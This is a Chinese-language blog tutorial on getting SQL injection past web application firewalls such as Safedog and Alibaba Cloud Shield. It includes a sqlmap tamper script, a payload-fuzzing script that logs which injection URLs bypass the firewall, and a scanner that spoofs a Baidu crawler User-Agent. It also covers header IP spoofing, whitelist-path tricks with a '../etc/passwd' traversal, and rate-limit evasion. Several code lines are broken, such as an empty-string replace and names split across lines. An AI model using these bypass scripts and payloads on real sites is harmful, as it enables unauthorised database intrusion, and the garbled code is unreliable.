Java教程

SQL注入之WAF脚本绕过

本文主要是介绍SQL注入之WAF脚本绕过,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

前言

在攻防实战中,往往需要掌握一些特性,比如服务器、数据库、应用层、WAF层等,以便我们更灵活地去构造Payload,从而可以和各种WAF进行对抗,甚至绕过安全防御措施进行漏洞利用。

img

FUZZ绕过脚本

#!/usr/bin/envpython

"""
Copyright(c)2006-2019sqlmapdevelopers(http://sqlmap.org/)
Seethefile'LICENSE'forcopyingpermission
"""

import os

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__=PRIORITY.HIGHEST

def dependencies():
	singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s"%(os.path.basename(__file__).split(".")[0],DBMS.MYSQL))

def tamper(payload,**kwargs):
    
#%23a%0aunion/*!44575select*/1,2,3
	if payload:
        payload=payload.replace("union","%23a%0aunion")
        payload=payload.replace("select","/*!44575select*/")
        payload=payload.replace("%20","%23a%0a")
        payload=payload.replace("","%23a%0a")
        payload=payload.replace("database()","database%23a%0a()")
	return payload

import requests,time

url='http://127.0.0.1:8080/sqlilabs/Less-2/?id=-1'
union='union'
select='select'
num='1,2,3'
a={'%0a','%23'}
aa={'x'}
aaa={'%0a','%23'}
b='/*!'
c='*/'
def bypass():
	for xiaodi in a:
		for xiaodis in aa:
			for xiaodiss in aaa:
				for two in range(44500,44600):
					urls=url+xiaodi+xiaodis+xiaodiss+b+str(two)+union+c+xiaodi+xiaodis+xiaodiss+select+xiaodi+xiaodis+xiao
diss+num
					#urlss=url+xiaodi+xiaodis+xiaodiss+union+xiaodi+xiaodis+xiaodiss+b+str(two)+select+c+xiaodi+xiaodis+xia
odiss+num
					try:
						result=requests.get(urls).text
						len_r=len(result)
						if (result.find('safedog')==-1):
							#print('bypass url addreess:'+urls+'|'+str(len_r))
							 print('bypass url addreess:'+urls+'|'+str(len_r))
						if len_r==715:
                             fp = open('url.txt','a+')
                             fp.write(urls+'\n')
                             fp.close()
					except Exception as err:
						print('connecting error')
						time.sleep(0.1)
if__name__=='__main__':
	print('fuzz strat!')
	bypass()
    
    

伪造成百度爬虫脚本

import json
import requests

url='http://192.168.0.103:8080/'

head={
	'User-Agent':'Mozilla/5.0(compatible;Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)'
}
for data in open('PH1P.txt'):
    data=data.replace('\n','')
    urls=url+data
    code=requests.get(urls).status_code
    print(urls+'|'+str(code))

sqlmap temper脚本使用教程

https://blog.csdn.net/qq_34444097/article/details/82717357

案例演示:

1.简要其他绕过方式学习

1.白名单:

方式一:IP白名单
通过对网站ip地址的伪造,知道对方网站ip地址,那就默认为ip地址为白名单。
从网络层获取的ip,这种一般伪造不来,如果是获取客户端的ip,这样就饿可能存在伪造ip绕过的情况。
测试方法:修改http的header来by pass waf
X-forwarded-for
X-remote-IP
X-remote-addr
X-Real-IP

方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js、.jpg、.swf、.css等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://127.0.0.1/sql.php?id=1
http://127.0.0.1/sql.php/1.js?id=1
备注:Aspx/php只识别到前面的.aspx/.php,后面基本不识别。

image.png

不过这是老版本waf不过滤,现在一般也会过滤掉

image.png

方式三:url白名单(老版本waf)
为了防止误拦,部分waf内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http://127.0.0.1/sql.php/admin/php?id=1
http://127.0.0.1/sql.php?a=/manage/&b=../etc/passwd
http://127.0.0.1/../../../manage/../sql.asp?id=2
waf通过/manage/进行比较,只要url中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?1=manage/&b=../etc/passwd绕过防御规则。

image.png

image.png

依旧拦截是因为老版本waf才可以,新版本的会拦截

image.png

方式四:爬虫白名单(不是注入绕过而是扫描绕过经常用到)
伪装成搜索引擎
部分waf有提供爬虫白名单的功能,识别爬虫的技术一般有两种:
1.根据UserAgent
2.通过行为来判断

开启流量防护

image.png

都是误报,这些文件都不存在

image.png

扫描之后再访问页面就会被拦截

img

UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
User Agent Switcher (firefox 附加组件),下载地址:
https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/
伪造成百度爬虫

img

使用伪装脚本进行爬取,发现网站是没有任何拦截的。返回200是存在的,404不存在

image.png

image.png

2.FUZZ绕过脚本结合编写测试

https://www.jianshu.com/p/ba3f8f1815ad?               utm_campaign=haruki&utm_content=note&utm_medium=reader_share&utm_source=qq

3.阿里云盾防SQL注入简要分析

使用sqlmap

image.png

使用sqlmap跑过之后阿里云盾会对二次请求进行拦截
开启安全狗,使用sqlmap发现未报出注入点

image.png

这时就需要使用到sqlmap的脚本文件(自带大概率无法达到目的),脚本文件存在temper文件夹中(一般脚本使用教程)

image.png

接下来要想使用的话还是得自己编写脚本

4.安全狗+云盾SQL注入插件脚本编写

自己编写脚本bypassdog.py(也就是rdog.py)

image.png

直接使用脚本是无法跑来的,抓包到本地分析一下

image.png

User-Agent显示的是sqlmap的信息

img

此时安全狗上面会有拦截记录,分析可知是HTTP请求头User-agent的原因

image.png

并且漏洞防护规则也开启了工具拦截

image.png

根据这些我们知道了拦截原因:通过请求头及指纹库,知道了是使用工具sqlmap对网站进行了恶意扫描,所以进行了拦截

比如User-Agent改为1就没有进行拦截

image.png

当然在使用sqlmap时可以加上参数--random agent(随机出现字母头)

image.png

img

获取表名

image.png

可以使用burp查看sqlmap的注入语句

image.png

表名出现了

image.png

image.png

如果安全狗开启流量防护

image.png

sqlmap的速度过快,所以会被拦截

image.png

解决方法:

  • 添加延时参数 --delay参数

image.png

  • 使用代理池

  • 随机出IP

  • 更改请求头,添加http白名单 浏览器请求头 --user-Agent=" "

image.png

发现请求正常无拦截

image.png

如果需要更改的数据不是User-Agent

  • 使用burp的intrude模块(很麻烦)

image.png

  • 自己编写

img

然后使用TXT文本里的数据包注入

image.png

sqlmap去注入本地的脚本地址 -> 本地搭建脚本(请求数据包自定义编写) -> 远程地址

这篇关于SQL注入之WAF脚本绕过的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!